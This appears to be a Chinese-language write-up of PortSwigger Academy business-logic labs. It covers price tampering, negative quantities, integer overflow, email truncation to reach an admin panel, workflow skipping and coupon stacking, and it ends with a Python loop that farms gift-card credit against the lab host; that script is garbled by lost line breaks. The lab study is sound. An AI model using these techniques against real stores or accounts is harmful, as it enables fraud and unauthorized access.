PortSwigger Business Logic Vulnerabilities

lab1: Excessive trust in client-side controls

给了100块买价值1337的货

在历史包里发现

尝试直接修改价格

lab2: High-level logic vulnerability

这里把加入购物车时价格可控的点修复了

但是数量可控我们可以买负数的东西来加钱

但是返回Cart total price cannot be less than zero

那么控制一下价格大于0即可

lab3: Low-level logic flaw

买大量的货溢出上限即可

但是还是卡了我们必须花钱

由于这里限制了一次最多加99 大概估计整数的上限是20M左右

lab4: Inconsistent handling of exceptional input

需求: 删除carlos

访问admin路由

Admin interface only available if logged in as a DontWannaCry user

我们可以接收任何以@exploit-0a2300c90469cc9d80ea5232011200d0.exploit-server.net结尾的邮箱

在这里超过255的字符会被截断

我们卡一下长度

lab5: Inconsistent security controls

注册完后直接更新邮箱

lab6: Weak isolation on dual-use endpoint

直接不提交旧密码

lab7: Insufficient workflow validation

先跟一个正常的购买流程

/cart 添加进购物车 -> /cart/checkout 清算 -> /cart/order-confirmation?order-confirmed=true 结算

每个流程都重复发包然后刷新观察

我们发现在checkout的时候就已经进扣钱了

尝试跳过checkout 添加购物车后直接confirm

这里false和true没影响好像

一开始是想看看能不能反悔

lab8: Authentication bypass via flawed state machine

改administrator 和 admin 都没用

尝试login 然后drop掉role-selector

lab9: Flawed enforcement of business rules

New customers use code at checkout: NEWCUST5

注册能领30 off 检测是否重复只检测上一个

然后俩折扣来回叠加

lab10: Infinite money logic flaw

注册送券 SIGNUP30

买giftcart 赚3块无限薅

现在需要实现自动化

添加购物车 -> 加券 -> 兑换

import requests
import recsrfPartten = re.compile('<input required type="hidden" name="csrf" value=".*">')
codePartten = re.compile('<td>.*</td>')
url = "https://0add00500314e8f081b017cf00d400a0.web-security-academy.net/"
Cookie = "VpVhq6vKnkAwKWFRosMkSD8TFaaVJP27"
sess = requests.Session()def do_cart():data = {"productId": 2,"redir": "PRODUCT","quantity": 1}res = sess.post(url+"cart", data=data,cookies={"session":Cookie})return resdef getCsrf():res = sess.get(url+"my-account?id=wiener",cookies={"session": Cookie})csrf = re.findall(csrfPartten, res.text)[0]return(csrf.split("=")[3].replace('"', "").replace(">", ""))csrf = getCsrf()def do_coupon():data = {"coupon":"SIGNUP30","csrf":csrf}res = sess.post(url+"cart/coupon", data=data,cookies={"session":Cookie})return res
def do_checkout():data = {"csrf": csrf}res = sess.post(url+"cart/checkout", data=data,cookies={"session": Cookie})code = re.findall(codePartten, res.text)return code[2:]def do_redeem(code):data = {"gift-card": code[0].replace("<td>","").replace("</td>",""),"csrf": csrf}res = sess.post(url+"gift-card", data=data,cookies={"session": Cookie})while True:do_cart()do_coupon()do_redeem(do_checkout())